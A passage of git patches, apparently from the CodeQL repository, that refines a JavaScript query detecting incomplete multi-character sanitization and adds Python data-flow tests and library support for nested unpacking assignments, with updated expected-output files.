tst-multi-character-sanitization.js:138:19:138:20 | .* | <script | From 847687974fd2152146b46af7c4c73da483d2577a Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 12 Jan 2021 08:50:19 +0100 Subject: [PATCH 0520/1241] JS: only select non-nullable terms in the broken sanitizer --- .../CWE-116/IncompleteMultiCharacterSanitization.ql | 5 ++++- .../IncompleteMultiCharacterSanitization.expected | 7 ++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql b/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql index 3ae30ffe15b..d19cb2716c2 100644 --- a/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql +++ b/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql @@ -147,13 +147,16 @@ from where regexp = replace.getRegExp().getRoot() and dangerous.getRootTerm() = regexp and + // skip leading optional elements + not dangerous.isNullable() and // only warn about the longest match (presumably the most descriptive) prefix = max(string m | matchesDangerousPrefix(dangerous, m, kind) | m order by m.length()) and // only warn once per kind not exists(EmptyReplaceRegExpTerm other | other = dangerous.getAChild+() or other = dangerous.getPredecessor+() | - matchesDangerousPrefix(other, _, kind) + matchesDangerousPrefix(other, _, kind) and + not other.isNullable() ) and // don't flag replace operations in a loop not replace.getAMethodCall*().flowsTo(replace.getReceiver()) and diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected index 9403b43cd43..172baa9c1c1 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected @@ -7,6 +7,7 @@ | tst-multi-character-sanitization.js:19:3:19:35 | respons ... pt, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:18:18:18:24 | <script | <script | | tst-multi-character-sanitization.js:25:10:25:40 | text.re ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:25:24:25:27 | <!-- | <!-- | | tst-multi-character-sanitization.js:49:13:49:43 | req.url ... EL, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:48:22:48:23 | \\/ | /.. | +| tst-multi-character-sanitization.js:49:13:49:43 | req.url ... EL, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:48:26:48:27 | \\. | ../ | | tst-multi-character-sanitization.js:64:7:64:73 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:64:18:64:24 | <script | <script | | tst-multi-character-sanitization.js:66:7:66:56 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:66:18:66:49 | (\\/\|\\s)on\\w+=(\\'\|")?[^"]*(\\'\|")? | on | | tst-multi-character-sanitization.js:75:7:75:37 | x.repla ... gm, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:75:18:75:21 | <!-- | <!-- | @@ -26,8 +27,8 @@ | tst-multi-character-sanitization.js:108:7:108:75 | x.repla ... gm, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:108:18:108:18 | < | <script | | tst-multi-character-sanitization.js:109:7:109:58 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script | | tst-multi-character-sanitization.js:110:7:110:50 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:110:18:110:24 | <script | <script | -| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:111:18:111:19 | ? | <!-- | -| tst-multi-character-sanitization.js:126:7:129:34 | x\\n . ... //, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:129:15:129:20 | [^\\/]* | /.. | +| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:111:20:111:23 | <!-- | <!-- | +| tst-multi-character-sanitization.js:126:7:129:34 | x\\n . ... //, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:129:21:129:22 | \\/ | /.. | | tst-multi-character-sanitization.js:135:2:135:44 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:135:19:135:25 | <script | <script | | tst-multi-character-sanitization.js:136:2:136:46 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:136:19:136:19 | < | <script | -| tst-multi-character-sanitization.js:138:2:138:48 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:138:19:138:20 | .* | <script | +| tst-multi-character-sanitization.js:138:2:138:48 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:138:21:138:21 | < | <script | From 4d9f5be2bcf79a30bef76ca4fc9b8b393922733a Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 12 Jan 2021 12:30:03 +0100 Subject: [PATCH 0521/1241] Python: Add more unpacking tests --- .../dataflow/coverage/dataflow.expected | 36 +++++++++++++++---- .../experimental/dataflow/coverage/test.py | 26 ++++++++++++++ 2 files changed, 56 insertions(+), 6 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 930f77392b6..3be7fb4b131 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -62,7 +62,9 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:497:39:497:44 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:596:16:596:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:622:16:622:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | @@ -185,7 +187,15 @@ edges | test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | | test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | | test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | -| test.py:596:16:596:21 | ControlFlowNode for SOURCE | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | +| test.py:530:5:530:5 | SSA variable a | test.py:531:10:531:10 | ControlFlowNode for a | +| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | +| test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | +| test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | +| test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | +| test.py:622:16:622:21 | ControlFlowNode for SOURCE | test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | @@ -367,8 +377,18 @@ nodes | test.py:522:5:522:5 | SSA variable a | semmle.label | SSA variable a | | test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | | test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:596:16:596:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:529:10:529:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:530:5:530:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | +| test.py:531:10:531:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:546:10:546:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | +| test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:622:16:622:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | @@ -468,5 +488,9 @@ nodes | test.py:516:10:516:10 | ControlFlowNode for b | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | | test.py:523:10:523:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | | test.py:523:10:523:10 | ControlFlowNode for a | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | -| test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | Flow found | -| test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | test.py:596:16:596:21 | ControlFlowNode for SOURCE | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:531:10:531:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | +| test.py:531:10:531:10 | ControlFlowNode for a | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | +| test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | +| test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | +| test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | test.py:622:16:622:21 | ControlFlowNode for SOURCE | test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index d3cd19d732b..059a983a37f 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -524,6 +524,32 @@ def test_unpacking_assignment(): SINK_F(b) +@expects(3) +def test_nested_unpacking_assignment(): + t = (SOURCE, (NONSOURCE, SOURCE)) + a, (b, c) = t + SINK(a) + SINK_F(b) + SINK(c) # Flow not found + + +@expects(2) +def test_deeply_nested_unpacking_assignment(): + t = [[[[SOURCE]]], NONSOURCE] + [[[a]]], b = t + SINK(a) # Flow not found + SINK_F(b) + + +@expects(3) +def test_iterated_unpacking_assignment(): + t = (SOURCE, SOURCE, NONSOURCE) + a, *b, c = t + SINK(a) + SINK(b[0]) # Flow not found + SINK_F(c) + + def test_deep_callgraph(): # port of python/ql/test/library-tests/taint/general/deep.py From 9c0846782875de5ae6b12a423ad12fb243d0d4be Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 12 Jan 2021 12:46:51 +0100 Subject: [PATCH 0522/1241] Python: add tests for conversion during unpacking --- .../dataflow/coverage/dataflow.expected | 12 ++++---- .../experimental/dataflow/coverage/test.py | 29 +++++++++++++++++++ 2 files changed, 35 insertions(+), 6 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 3be7fb4b131..bb108a28f10 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -64,7 +64,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:622:16:622:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:651:16:651:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | @@ -195,7 +195,7 @@ edges | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | | test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | -| test.py:622:16:622:21 | ControlFlowNode for SOURCE | test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:651:16:651:21 | ControlFlowNode for SOURCE | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | @@ -387,8 +387,8 @@ nodes | test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | | test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | | test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:622:16:622:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:651:16:651:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | @@ -492,5 +492,5 @@ nodes | test.py:531:10:531:10 | ControlFlowNode for a | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | -| test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | Flow found | -| test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | test.py:622:16:622:21 | ControlFlowNode for SOURCE | test.py:625:10:625:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:651:16:651:21 | ControlFlowNode for SOURCE | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 059a983a37f..ed0e87c810c 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -550,6 +550,35 @@ def test_iterated_unpacking_assignment(): SINK_F(c) +@expects(15) +def test_unpacking_assignment_conversion(): + ll = [[SOURCE, NONSOURCE, SOURCE], [SOURCE], [NONSOURCE]] + + # tuple + ((a1, a2, a3), b, c) = ll + SINK(a1) + SINK_F(a2) # We expect an FP as all elements are tainted + SINK(a3) + SINK_F(b) # The list itself is not tainted + SINK_F(c) + + # mixed + [(a1, a2, a3), b, c] = ll + SINK(a1) + SINK_F(a2) # We expect an FP as all elements are tainted + SINK(a3) + SINK_F(b) # The list itself is not tainted + SINK_F(c) + + # mixed differently + ([a1, a2, a3], b, c) = ll + SINK(a1) + SINK_F(a2) # We expect an FP as all elements are tainted + SINK(a3) + SINK_F(b) # The list itself is not tainted + SINK_F(c) + + def test_deep_callgraph(): # port of python/ql/test/library-tests/taint/general/deep.py From a1ab5cc2b8bd9c5ca6cff33c404365cd5d804504 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 12 Jan 2021 13:09:12 +0100 Subject: [PATCH 0523/1241] Python: start support for nested unpacking --- .../dataflow/new/internal/DataFlowPrivate.qll | 74 ++++++++++++++++--- .../dataflow/coverage/dataflow.expected | 18 +++++ .../experimental/dataflow/coverage/test.py | 2 +- 3 files changed, 81 insertions(+), 13 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index e25752f2224..49734cd37f2 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1010,27 +1010,77 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { ) } -/** Data flows from an iterable to an assigned variable. */ -predicate unpackingAssignmentReadStep(CfgNode nodeFrom, Content c, EssaNode nodeTo) { - // iterable unpacking - // `a, b = iterable` - // nodeFrom is `iterable`, cfg node - // nodeTo is `a` (or `b`), essa var - // c is compatible with `a`s (or `b`s) index - exists(Assign assign, int index, SequenceNode target | - target.getNode() = assign.getATarget() and - nodeTo.getVar().getDefinition().(MultiAssignmentDefinition).indexOf(index, target) and +predicate unpackingAssignmentRead(CfgNode nodeFrom, Content c, ControlFlowNode readNode) { + // `a, b = iterable` + // nodeFrom = `iterable` + // readNode = `a` + // c is compatible with type of `a, b` (so tuple if it was `(a, b)`) + exists(Assign assign, SequenceNode target, int index | target.getNode() = assign.getATarget() | nodeFrom.asExpr() = assign.getValue() and + readNode = target.getElement(index) and ( + target instanceof ListNode and c instanceof ListElementContent or - c instanceof SetElementContent - or + target instanceof TupleNode and c.(TupleElementContent).getIndex() = index ) ) } +predicate unpackingAssignmentInternalReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + // iterable unpacking + // `a, (b, (c, d)) = iterable` + // nodeFrom is `(b, (c, d))`, cfg node + // nodeTo is `b`, essa var + // or `(c, d)`, cfg node + // c is compatible with `b`s (or `(c, d)`s) index + exists( + Assign assign, SequenceNode target, SequenceNode readFrom, int index, ControlFlowNode readTo + | + target.getNode() = assign.getATarget() and + readFrom = target.getAnElement() // use contains to get deeper nesting + | + nodeFrom.getNode() = readFrom and + readTo = readFrom.getElement(index) and + ( + readTo instanceof SequenceNode and + nodeTo.asCfgNode() = readTo + or + not readTo instanceof SequenceNode and + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readTo + ) and + ( + readFrom instanceof ListNode and + c instanceof ListElementContent + or + readFrom instanceof TupleNode and + c.(TupleElementContent).getIndex() = index + ) + ) +} + +/** Data flows from an iterable to an assigned variable. */ +predicate unpackingAssignmentReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + // iterable unpacking + // `a, (b, c) = iterable` + // nodeFrom is `iterable`, cfg node + // nodeTo is `a`, essa var + // or `(b, c)`, cfg node + // c is compatible with `a`s (or `(b, c)`s) index + exists(ControlFlowNode readNode | unpackingAssignmentRead(nodeFrom, c, readNode) | + ( + readNode instanceof SequenceNode and + nodeTo.asCfgNode() = readNode + or + not readNode instanceof SequenceNode and + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readNode + ) + ) + or + unpackingAssignmentInternalReadStep(nodeFrom, c, nodeTo) +} + /** Data flows from a sequence to a call to `pop` on the sequence. */ predicate popReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { // set.pop or list.pop diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index bb108a28f10..8306cf73e86 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -63,6 +63,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:651:16:651:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | @@ -188,9 +189,16 @@ edges | test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | | test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:530:5:530:5 | SSA variable a | test.py:531:10:531:10 | ControlFlowNode for a | +| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:12:530:12 | SSA variable c | +| test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | +| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | @@ -379,9 +387,16 @@ nodes | test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:529:30:529:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:530:5:530:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:530:12:530:12 | SSA variable c | semmle.label | SSA variable c | | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | +| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | | test.py:531:10:531:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:533:10:533:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | @@ -490,6 +505,9 @@ nodes | test.py:523:10:523:10 | ControlFlowNode for a | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | | test.py:531:10:531:10 | 